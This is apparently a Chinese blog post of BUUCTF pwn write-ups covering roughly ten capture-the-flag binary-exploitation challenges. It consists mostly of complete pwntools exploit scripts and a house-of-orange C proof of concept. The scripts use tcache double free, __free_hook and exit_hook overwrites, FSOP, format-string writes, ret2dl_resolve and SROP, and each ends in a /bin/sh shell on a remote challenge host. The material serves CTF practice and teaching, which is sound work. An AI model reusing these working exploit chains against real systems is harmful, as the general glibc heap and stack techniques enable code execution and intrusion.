BUUCTF-pwn(17)

happytree(SUSCTF)

分析主要函数!
在这里插入图片描述
主要三步操作,Insert、Delete、Show函数!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到其为二叉树结构体!
因为全保护开启,故具体思路为泄露地址(heap、libc),然后利用libc2.27版本tcache的double free来修改__free_hook函数为system函数,
此时首先设置基准为0x50,此时分为两部分,左子树用来泄露heap地址并造成double free的效果,右子树来泄露libc地址并申请造成攻击效果!
首先发现可以从0x?0申请到0x?8的9个堆块,故可以得到unsorted bin中的堆块,从而泄露了libc地址。此时申请0x20大小的堆块,便可以得到残留在程序申请的0x20堆块上所存在的heap地址,此时heap地址也泄露出来了。

攻击:首先伪造一个程序堆块,大小为0x31,内容->size设置为0x??(不要造成重复申请)、内容->chunk设置为__free_hook,此时申请0x20堆块将伪造的程序堆块地址写入0x10~0x20位置中,此时将0x20堆块链入二叉树中,此时便可以申请写入__free_hook为system函数地址。
注意此方法进行最后攻击时,所释放的第一堆块要存在/bin/sh字符串,否则无法获取权限!
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

#binary = './happytree'
r = remote('124.71.147.225', 9999)
#r = process(binary)
#elf = ELF(binary)
#libc = ELF('/home/pwn/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
libc = ELF('./libc.so.6happytree')
def Allocate(size=0x18,payload=b'\n'):
    r.sendlineafter("cmd> ",'1')
    r.sendlineafter("data: ",str(size))
    r.sendafter("content: ",payload)

def Free(index):
    r.sendlineafter("cmd> ",'2')
    r.sendlineafter("data: ",str(index))

def Show(index):
    r.sendlineafter("cmd> ",'3')
    r.sendlineafter("data: ",str(index))

one = [0x4f365,0x4f3c2,0x10a45c]
Allocate(0x50,b'/bin/sh;/bin/sh\x00')
Allocate(0x80)
for i in range(8):
    Allocate(0x90+i)
Allocate(0x40)
for i in range(8):
    Free(0x90+i)
Allocate(0x30,b'a'*8)
Show(0x30)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-240
#libc = LibcSearcher('__malloc_hook',main_arena-0x10)
#libc_base = main_arena-0x10-libc.dump('__malloc_hook')
#system = libc_base+libc.dump('__libc_system')
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']

Allocate(0x28,b'b'*8)
Show(0x28)#泄露heap地址
heap_addr = u64(r.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))-0x12330

Allocate(0x27,p64(heap_addr+0x126D0)*3)#伪造fd指针
Free(0x27)

Allocate(0x68,b'/bin/sh\x00'+p64(0x31)+p64(0x243)+p64(heap_addr+0x12090))#fake_chunk
Allocate(0x245)
Free(0x243)
Allocate(0x222,p64(free_hook))
Allocate(0x221,p64(system))
success("heap_addr -> "+hex(heap_addr))
success("system -> "+hex(system))
success(hex(main_arena))
#gdb.attach(r)
Free(0x50)

r.interactive()

#Allocate(0x50,'base')#基准
'''Allocate(0x20,'chunk')#与userchunk大小相等chunk
Allocate(0x30,'auxiliary')#辅助泄露堆地址
Free(0x20)
Free(0x30)#tcache[0x30]存在3块
Allocate(0x20,b'a'*0x8)#申请2块,可以泄露出heap地址
Show(0x20)
r.recvuntil(b'aaaaaaaa')
heap_addr = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))'''

'''for i in range(8):#0~7
    Allocate(0xe0+i,'i')
for i in range(7):
    Allocate(0x80+i)
#Allocate(0x11)#防止合并
for i in range(8):
    Free(0xe0+i)

Allocate(0x10,b'b'*8)
Show(0x10)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x140
libc = LibcSearcher('__malloc_hook',main_arena-0x10)
libc_base = main_arena-0x10-libc.dump('__malloc_hook')
system = libc_base+libc.dump('system')


Allocate(0x38,p64(0)+p64(0x31)+b'c'*0x20+p64(0x30))
Allocate(0x88)
for i in range(7):
    Free(0x80+i)
Free(0x38)
Free(0x88)
#success("heap_addr -> "+hex(heap_addr))
success("main_arena -> "+hex(main_arena))
gdb.attach(r)'''

'''Allocate(0x50)
Allocate(0x20,p64(0x21)+b'a'*0x18)
Free(0x20)
Allocate(0x60)
Allocate(0x70)
gdb.attach(r)

r.interactive()'''

houseoforange_hitcon_2016

在这里插入图片描述
在这里插入图片描述
可以发现仅仅存在Edit函数中的堆溢出漏洞,但是仅仅可以利用3次,而Allocate申请函数可以使用4次!
本题目没有free释放功能,故我们可以利用某些glibc的管理内存机制而得到可以free的chunk!
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './houseoforange_hitcon_2016'
r = remote('node4.buuoj.cn',28761)
#r = process(binary)
elf = ELF(binary)
libc = ELF('./libc-2.23.so')
#libc = elf.libc
def Allocate(size=0x18,payload='\n',number=1,color=0xDDAA):
    r.sendlineafter("Your choice : ",'1')
    r.sendlineafter("Length of name :",str(size))
    r.sendafter("Name :",payload)
    r.sendlineafter("Price of Orange:",str(number))
    r.sendlineafter("Color of Orange:",str(color))

def Show():
    r.sendlineafter("Your choice : ",'2')

def Edit(size=0x28,payload='\n',number=1,color=0xDDAA):
    r.sendlineafter("Your choice : ",'3')
    r.sendlineafter("Length of name :",str(size))
    r.sendafter("Name:",payload)
    r.sendlineafter("Price of Orange: ",str(number))
    r.sendlineafter("Color of Orange: ",str(color))


Allocate(0x18,'aaaa',1,0xDDAA)
payload = b'b'*0x18+p64(0x21)+p32(1)+p32(0xddaa)+b'c'*0x10+p64(0xfa1)
Edit(0x40,payload)
Allocate(0x1000,'dddd',1,0xDDAA)
Allocate(0x400,b'aaaaaaaa',1,0xDDAA)

Show()
r.recvuntil("Name of house : aaaaaaaa")
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-1640
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
io_list_all = libc_base+libc.symbols['_IO_list_all']
system = libc_base+libc.symbols['system']
#gdb.attach(r)

Edit(0x10,b'e'*0x10,1,0xDDAA)
Show()
heap_base = u64(r.recvuntil(b'\n')[-7:-1].ljust(8,b'\x00'))-0xc0

payload = b'f' * 0x400 + p64(0) + p64(0x21) + p32(1) + p32(0xDDAA) + p64(0)
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5c8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
Edit(len(payload), payload,1,0xDDAA)

success("libc_base -> "+hex(libc_base))
success("heap_base -> "+hex(heap_base))
success("main_arena -> "+hex(main_arena))
#gdb.attach(r)
r.sendlineafter("Your choice : ",'1')

r.interactive()

经过测试,发现该脚本有概率成功通关(本地与远程),不知道为什么,或许是因为泄露地址时常变化吧?

house of orange

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   This function is just present to emulate the scenario where
   the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
    char *p1, *p2; 
    size_t io_list_all, *top;

    p1 = malloc(0x400-16);申请0x400的chunk 

    top = (size_t *) ( (char *) p1 + 0x400 - 16);获取真实堆块地址 
    top[1] = 0xc01;修改top chunk的size域 

    p2 = malloc(0x1000);申请0x1000大小的chunk,原有top chunk会放入unsorted bin中 
    io_list_all = top[2] + 0x9a8;寻找到io list all地址 


我们计划来覆盖现在依旧被放到unsorted bins中old top的fd和bk指针
当malloc尝试通过分解free chunk来满足请求的时候,
chunk->bk->fd的值将会被libc的main_arena中的unsorted-bin-list地址覆盖
注意,这个覆写发生在完整性检查之前,因此可以发生在任意情况下
在这里,我们要求chunk->bk->fd指向_IO_list_all
因此,我们需要把chunk->bk设为_IO_list_all-16


    top[3] = io_list_all - 0x10;设置 


在结尾的地方,system函数将会通过这个file指针来调用
如果我们将前8个字节设为 /bin/sh,他就会相当于system(/bin/sh)

    memcpy( ( char *) top, "/bin/shx00", 8);拷贝字符串 


_IO_flush_all_lockp函数遍历_IO_list_all指针链表
由于我们仅仅可以通过main_arena的unsorted-bin-list来覆写这个地址,
因此方法就时在对应的fd-ptr处控制内存
下一个file指针在bass_address+0x68的位置
这个相对应的是smallbin-4,存储在9098之间的smallbin的地方
由于我们溢出了旧的top chunk,我们也就可以控制他的size域了
这也就会有一个棘手的问题,我们的old top chunk现在是在unsorted bin list中的,
在每个分配中,malloc都会尝试首先为该列表中的chunk来提供服务
因此这也将会遍历该链表
此外,他也会把排序所有不符合的chunk并插入到对应的bins中去
如果我们设置size为0x61并且触发一个不合适的更小的申请,malloc将会把old chunk放入到small bin-4中去
由于这个bin现在是空的,因此old top chunk将会变成新的头部
因此,old top chunk占据了main_arena中smallbin[4]的位置,并最终代表了fake file的fd-pter指针
除了分类外,malloc也会对他们做一些某些大小的检查
所以在分类old_top chunk和在伪造的fd指针指向_IO_list_all之后,他将会检查size域,检查 size是否小于最小的"size<=2*SIZE_SZ"的
并且最终触发终止调用来得到我们的链


    top[1] = 0x61;


现在是我们满足函数_IO_flush_all_lockp所需的伪造文件指针约束并在此处进行测试的部分
我们需要满足第一个状态


    _IO_FILE *fp = (_IO_FILE *) top;

    fp->_mode = 0; // top+0xc0


    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28



最后我们设置jump table去控制内存并将system放到这儿
jump_table指针是正好在_IO_FILE结构体后面的

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

    现在让我们用malloc来触发整个链
    malloc(10);

    return 0;
}

int winner(char *ptr)
{
    system(ptr);
    return 0;
}

SWPUCTF_2019_login

在这里插入图片描述
简单的32位格式化字符串漏洞

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './SWPUCTF_2019_login'
r = remote('node4.buuoj.cn',28971)
#r = process(binary)
elf = ELF(binary)
libc = ELF('./libc-2.27.so')
#libc = elf.libc
sh = 0x0804B080

def fmt(payload):
    sleep(0.1)
    r.sendline(str(payload))

#gdb.attach(r,'b *0x0804854B')
r.sendlineafter("Please input your name: \n",'/bin/sh\x00')
payload = "%6$p.%15$p"
r.sendlineafter("Please input your password: \n",payload)
stack_addr = int(r.recvuntil(b'.')[-9:-1],16)-0xc
libc_base = int(r.recvuntil(b'\n')[-9:-1],16)-libc.symbols['__libc_start_main']-241
system = libc_base+libc.symbols['system']
success(hex(stack_addr))
success(hex(libc_base))
success(hex(system))

for i in range(4):#system
    fmt("%"+str((stack_addr&0xff)+i)+"c%6$hhn")
    fmt("%"+str((system>>(i*8))&0xff)+"c%10$hhn")
stack_addr = stack_addr+4
'''for i in range(4):#sh
    fmt("%"+str((stack_addr&0xff)+i)+"c%6$hhn")
    fmt("%"+str((sh>>(i*8))&0xff)+"c%10$hhn")'''
#gdb.attach(r,'b *0x0804854B')
fmt("wllmmllw\x00")


r.interactive()

babygame虎符2022

在这里插入图片描述

from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='amd64')

binary = './babygame'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
dll = cdll.LoadLibrary('/home/pwn/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
seed = dll.srand(0x6161616161616161)

r.sendafter("Please input your name:\n",b'a'*0x109)
r.recvuntil(b'a'*0x108)
canary = u64(r.recv(8))-0x61
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

for i in range(100):
    r.recvuntil('\n')
    rand = str(dll.rand()%3)
    if rand == '0': r.sendline('1')
    if rand == '1': r.sendline('2')
    if rand == '2': r.sendline('0')

r.recvuntil("Good luck to you.\n")
payload = b'%29$p.%27$p.aaa%12$hhn'.ljust(0x30,b'b')+p64(stack_addr-0x218-0x120)

success(hex(canary))
success(hex(stack_addr))
gdb.attach(r)
r.sendline(payload)
code_base = int(r.recvuntil(b'.')[:-1],16)-0x12ef
libc_base = int(r.recvuntil(b'.')[:-1],16)-libc.symbols['atoi']-20
success(hex(code_base))
success(hex(libc_base))

payload = b'%106c%12$hhn'.ljust(0x30,b'd')+p64(stack_addr-0x218-0x120)
r.send(payload)
sleep(0.1)
payload = b'e'*0x108+p64(canary)+p64(0)*3+p64(libc_base+0x026b72)+p64(libc_base+0x01b75aa)+p64(libc_base+0x025679)+p64(libc_base+libc.symbols['system'])
r.send(payload)
#gdb.attach(r)
r.sendline('3')

r.interactive()

注意如下:
在这里插入图片描述


checkin

在这里插入图片描述
调试过程如:
在这里插入图片描述
此时我们进入main函数,相当于再次获得了一次read的使用机会,但同时也获取了rbp的一次有局限的控制;
在这里插入图片描述
此时我们便位于栈可控的情况下进行ret2dl_resolve;
在这里插入图片描述此时便可以写入伪造的结构体;
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './checkin'
r = remote('node4.buuoj.cn',28728)
#r = process(binary)
elf = ELF(binary)
libc = ELF('./libc.so.6')
#libc = elf.libc
read_plt = elf.plt['read']
read_got = elf.got['read']
plt_0 = 0x401026

leave_ret = 0x04011e2
ret = 0x040101a
jmp_rax = 0x04010cc
bss_addr = 0x404000 + 0x900

pop_rsi_r15_ret = 0x0401251
pop_rdi_ret = 0x0401253
one1 = 0x040124A
one2 = 0x0401230



def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap



#gdb.attach(r)
payload = b'a'*0xa0+p64(bss_addr+0xb0)+p64(0x04011BF) #read
r.send(payload)
sleep(0.2)
payload2 = p64(ret)*2+b'\x00'*0x90+p64(bss_addr+0x8)+p64(0x040115B)# main
r.send(payload2)# cin -> 0x404110
#gdb.attach(r)

fake_read = flat({
	0x0:one1,
	0x8:0,#rbx
	0x10:1,#rbp
	0x18:0,#r12 edi
	0x20:bss_addr+0x100,#r13 rsi
	0x28:0x500,#r14 rdx
	0x30:read_got,#r15 call
	0x38:one2,#ret
	0x48:0,#rbx 无用
	0x50:1,#rbp 无用
	0x58:bss_addr+0x100+0x110,#r12 edi 无用
	0x60:0,#r13 rsi 无用
	0x68:0,#r14 rdx 无用
	0x70:bss_addr,#r15 无用
	0x78:pop_rsi_r15_ret,
	0x80:0x4049b8,#rsi
	0x88:0,#r15
	0x90:read_plt,#call
	0x98:bss_addr+0x100,
})

payload3 = fake_read.ljust(0xa0,b'\x00')+p64(bss_addr+0x18)+p64(0x04011BF)# ret
r.send(payload3)

r.send(b'njh')
sleep(0.5)
l_addr = libc.symbols['system']-libc.symbols['read']
fake_dl = fake_Linkmap_payload(bss_addr+0x100,read_got,l_addr)
pause()
r.send(fake_dl)
sleep(0.5)
r.send(p64(pop_rdi_ret)+p64(bss_addr+0x148)+p64(ret)+p64(plt_0)+p64(bss_addr+0x100))

r.interactive()

rootersctf_2019_srop

简单的SROP,利用系统调用sigreturn将寄存器修改为我们想要的数值;

在这里插入图片描述
Sigreturn系统调用,需要有充足的输入空间;
在这里插入图片描述

from tkinter import Frame
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './rootersctf_2019_srop'
r = remote('node4.buuoj.cn',25458)
#r = process(binary)
elf = ELF(binary)

bss_addr = 0x402000 + 0x300
pop_rax_syscall_leave_ret = 0x0401032
syscall_read = 0x0401021
r.recvuntil("Hey, can i get some feedback for the CTF?\n")
#gdb.attach(r)
fake_frame = SigreturnFrame()
fake_frame.rsp = bss_addr
fake_frame.rbp = bss_addr+0x100
fake_frame.rsi = bss_addr#buf
fake_frame.rip = 0x040102B#syscall_read
payload = b'a'*0x80+p64(bss_addr)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+bytes(fake_frame)
r.sendline(payload)
pause()
fake_frame = SigreturnFrame()
fake_frame.rsp = bss_addr
fake_frame.rbp = bss_addr+0x100
fake_frame.rdi = bss_addr+0x8
fake_frame.rip = pop_rax_syscall_leave_ret
payload2 = p64(0x3b)+b'/bin/sh\x00'+b'b'*0xf8+p64(pop_rax_syscall_leave_ret)+p64(0xf)+bytes(fake_frame)
r.sendline(payload2)

r.interactive()

ciscn_2019_s_6

较为简单的libc2.27的UAF漏洞;
在这里插入图片描述
较为简单,具体步骤就不详细叙述了;
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './ciscn_s_6'
r = remote('node4.buuoj.cn',28126)
#r = process(binary)
elf = ELF(binary)
libc = ELF('./libc-2.27.so')
#libc = elf.libc
def Allocate(size=0x18,name=b'/bin/sh\x00',phone=b'/bin/sh\x00'):
    r.sendlineafter("choice:",'1')
    r.sendlineafter("size of compary's name\n",str(size))
    r.sendafter("please input name:\n",name)
    r.sendafter("please input compary call:\n",phone)

def Show(index):
    r.sendlineafter("choice:",'2')
    r.sendlineafter("Please input the index:\n",str(index))

def Free(index):
    r.sendlineafter("choice:",'3')
    r.sendlineafter("Please input the index:\n",str(index))

Allocate()#0
Allocate()#1
Allocate(0x88)#2
Allocate(0x88)#3
Free(0)
Free(1)
Free(0)
Free(1)# double free   0 -> 1 -> 2

Show(0)
r.recvuntil("name:\n")# leak -> heap_addr
heap_addr = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x2c0

Allocate(0x18,p64(heap_addr+0x10))#4
Allocate(0x88)#5
Allocate(0x18,b'\x00'+b'a'*0x17)#6     tcache full 0x20~0x190

Free(2)
Show(2)# leak -> libc_addr
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
Allocate(0x68)#7
Free(0)
Free(1)
Free(0)
Free(1)#tcache double free

Allocate(0x18,p64(free_hook))#8
Allocate(0x88)#9
Allocate(0x18,p64(system))
success(hex(free_hook))
success(hex(heap_addr))
success(hex(libc_base))
#gdb.attach(r)
Free(3)


r.interactive()

ciscn_2019_qual_virtual

这里插入一个较为简单的vm题目,相较于2022虎符之中的mva难度较小(mva之中存在检测,且需要逆向恢复switch,而该题目无需这样的操作,保护措施堪称没有),对于TQLCTF之中ezvm也很简单,而ezvm之中是UE引擎;

VM-pwn关键位置在于逆向分析,如下为逆向分析的过程,本题相对较为简单:
在这里插入图片描述
输入的数据经过替换函数替换为机器码(也就是switch的case而已:
在这里插入图片描述
关键函数位于Runtarget该函数之中:
在这里插入图片描述
关于其它一些函数:

__int64 __fastcall retOff(struct prock *addr, _QWORD *index)
{
  if ( !addr )
    return 0LL;
  if ( addr->flag_ == -1 )                      // 如果发现标记为-1,说明不存在机器码了,将直接返回
    return 0LL;
  *index = *(_QWORD *)(addr->chunk + 8LL * addr->flag_--);// 返回机器码最后一位
  return 1LL;
}

__int64 __fastcall assign(struct prock *addr, __int64 stack)
{
  int flag; // [rsp+1Ch] [rbp-4h]

  if ( !addr )                                  // 如果addr不存在直接返回
    return 0LL;
  flag = addr->flag_ + 1;                       // flag_初始值为-1,记录所记载的字节码的索引
  if ( flag == addr->size )                     // 进行简单的检测,判断是否超出原本的大小
    return 0LL;
  *(_QWORD *)(addr->chunk + 8LL * flag) = stack;
  addr->flag_ = flag;
  return 1LL;
}

关键在于如何理解save函数之中如下该语句:

*(_QWORD *)(8 * (mStack->flag_ + offset) + mStack->chunk) = tarData;
mStack->chunk为基准
mStack->flag_为结构体index下标
offset为mStack之中,即栈顶数据作为偏移量,该偏移量不存在检测,故可以为负数,所以这里存在任意写;相应的load存在任意地址读

所以我们的目的在于获取权限,可以修改puts_got为system;而后存在puts(name);该函数,name可控;进而可以得知我们需要修改mStack->chunk为基准为got表所在地址上;

进而可以利用指令计算出system函数,并将其修改到puts_got之中;

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './ciscn_2019_qual_virtual'
r = remote('node4.buuoj.cn',25766)
#r = process(binary)
elf = ELF(binary)
libc = elf.libc
puts_got = elf.got['puts']

dis = libc.symbols['system']-libc.symbols['puts']

mCode = 'push push save push push load add push save'
mData = str(puts_got+8)+' '+str(-3)+' '+str(dis)+' '+str(-1)+' '+str(0)
#gdb.attach(r,'b *0x004019B7')
r.recvuntil("Your program name:\n")
r.sendline(b'/bin/sh\x00')
r.sendlineafter("Your instruction:\n",mCode)
r.sendlineafter("Your stack data:\n",mData)


r.interactive()

axb_2019_mips

该链接为MIPS架构的一个调试教程

pwn@pwn-virtual-machine:~/question$ file pwn2 
pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
pwn@pwn-virtual-machine:~/question$ qemu-mipsel -L /home/pwn/pwn/mipsel-linux-uclibc/ -g 1234 ./pwn2 

而另一个终端中即可运行gdb-multiarch进行调试

pwn@pwn-virtual-machine:~/question$ gdb-multiarch 
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> set arch mips
The target architecture is assumed to be mips
pwndbg> set endian little
The target is assumed to be little endian
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

在这里插入图片描述
调试过程如下:
在这里插入图片描述
此时便再次进入read_addr函数之中了,然后我们可以输入shellcode,然后利用.text:00400808 move $sp, $fp该指令进行栈迁移;

疑问

如上复现过程axb_2019_mips;采用了pwndbg作为调试工具,当然可以采用其它工具,只不过我习惯使用了pwndbg了,不过调试过程之中,遇到以下问题,执行最后获取权限的指令的时候,pwndbg给出了一个错误;当然这个脚本是可以成功通过的;只不过调试的时候pwndbg无法识别shellcode作为函数来执行;具体如何解决还暂时未知;
move $sp, $fp该执行发生错误,不过从静态分析,我们可以发现该指令当前的作用为栈迁移,使栈迁移到bss之上,从而可以将返回地址指向shellcode,不过动态调试的时候执行到该指令的时候却发生了错误(权限可以正常获取),目前猜测是pwndbg的问题,当然可以使用ida或其它一些工具来进行调试
在这里插入图片描述

examination(2022*CTF

主要函数功能如下:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
我们便可以利用这几个函数来达成攻击的目的;版本为2.31,故不存在__malloc_hook与__free_hook,但是我们可以利用exit_hook来完成攻击,此时我们可以看到教师功能6之中利用malloc申请了0x300大小的空间,而且经过了输入的操作,然后之下exit函数;
exit_hook其实位于_rtld_global结构体之中的rtld_lock_default_lock_recursive与rtld_lock_default_unlock_recursive此时只要我们将这两个指针任意改变为gadget即可;

调试如下:(布局如下
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './examination'
r = remote('124.70.130.92', 60001)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.31.so')

choice = lambda ch : r.sendlineafter("choice>> ",str(ch)) 
cRole = lambda role : (choice(5) ,r.sendlineafter("role: <0.teacher/1.student>: ",str(role)) )#       
Cllocate = lambda num : (choice(1), r.sendlineafter("enter the number of questions: ",str(num)) )#    1 1
Show = lambda : choice(2)#                                                                            1 2
Free = lambda id : (choice(4), r.sendlineafter("which student id to choose?\n",str(id)) )#            1 4

modifyF = lambda : choice(3)#                                                                         2 3
modifyId = lambda id : (choice(6), r.sendlineafter("input your id: ",str(id)) )#                    2 6


def Edit(index,payload=b'/bin/sh\x00',size=0x18,flag=False):# 1 3
    choice(3)
    r.sendlineafter("which one? > ",str(index))
    if flag:
        r.sendlineafter("enter your comment:\n",payload)
    else:
        r.sendlineafter("please input the size of comment: ",str(size))
        r.sendlineafter("enter your comment:",payload)

def leakAddr(addr):# 2 2
    choice(2)
    r.recvuntil("Good Job! Here is your reward! ")
    heap_addr = int(r.recvuntil(b'\n')[:-1],16)
    r.sendline(addr)
    return heap_addr

def mallCk(payload,score=99,flag=True):# 2 4
    choice(4)
    if flag:
        r.sendlineafter("enter your mode!\n",payload)
    else:
        r.sendlineafter("enter your pray score: 0 to 100",str(score))

one = [0xe3b2e,0xe3b31,0xe3b34]
# -------------------Tearcher
r.sendlineafter("role: <0.teacher/1.student>: ",'0')
Cllocate(9) # 0
Cllocate(9) # 1
Cllocate(9) # 2
choice(2)       #查看成绩

# -------------------Student
cRole(1)    #改变为学生模式
mallCk('student0')


# -------------------Tearcher
cRole(0)
Edit(1,'1-teacher-chunk',0x3f0)
Edit(0,'0-teacher-chunk',0x60)#防止合并

# -------------------Student
cRole(1)    #改变为学生模式
modifyF()
mallCk('student0',96,False)
modifyF()
mallCk(b'student0'+p64(0x451))

# -------------------Tearcher
cRole(0)
Free(2)
Cllocate(9)#2

# -------------------Student
cRole(1)    #改变为学生模式
modifyId(1)
choice(2)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
exit_hook = libc_base+0x222060+3848
system = libc_base+libc.symbols['system']
# -------------------Tearcher
cRole(0)
Edit(2,'2-teacher-chunk',0x3f0)

# -------------------Student
cRole(1)    #改变为学生模式
modifyF()
mallCk('student0',32,False)
modifyF()
mallCk(p32(9)+p32(99))
modifyId(1)
choice(2)
r.recvuntil("Good Job! Here is your reward! ")
heap_addr = int(r.recvuntil(b'\n')[:-1],16)-0x2f0
r.sendline(str(heap_addr)+'0')# BUG

modifyId(2)
mallCk('student2')

# -------------------Tearcher
cRole(0)
Cllocate(9)#3
Edit(3,'3-teacher-chunk',0x300)
Free(3)
# -------------------Student
cRole(1)    #改变为学生模式
modifyId(0)
modifyF()
mallCk('student0',100,False)
modifyF()
mallCk(b'njhN'+p64(0x31)+p64(0)*2+p32((heap_addr+0x200)&0xffffffff))

modifyId(2)
mallCk(p64(exit_hook)*2)

# -------------------Tearcher
cRole(0)
choice(6)
r.recvuntil("never pray again!\n")
r.sendline(p64(libc_base+one[0])*2)
success(hex(heap_addr))
success(hex(exit_hook))
success(hex(libc_base))
#gdb.attach(r)


r.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值